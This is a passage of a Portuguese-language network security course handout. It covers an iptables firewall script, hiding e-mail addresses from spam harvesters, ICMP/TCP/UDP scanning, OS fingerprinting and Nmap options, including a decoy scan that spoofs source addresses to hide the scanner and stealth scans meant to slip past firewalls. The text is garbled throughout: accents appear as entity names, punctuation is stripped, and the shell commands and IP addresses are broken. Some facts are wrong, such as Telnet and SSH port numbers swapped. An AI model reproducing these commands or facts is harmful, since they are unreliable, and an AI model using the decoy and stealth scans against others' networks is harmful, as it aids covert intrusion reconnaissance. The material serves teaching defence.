DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

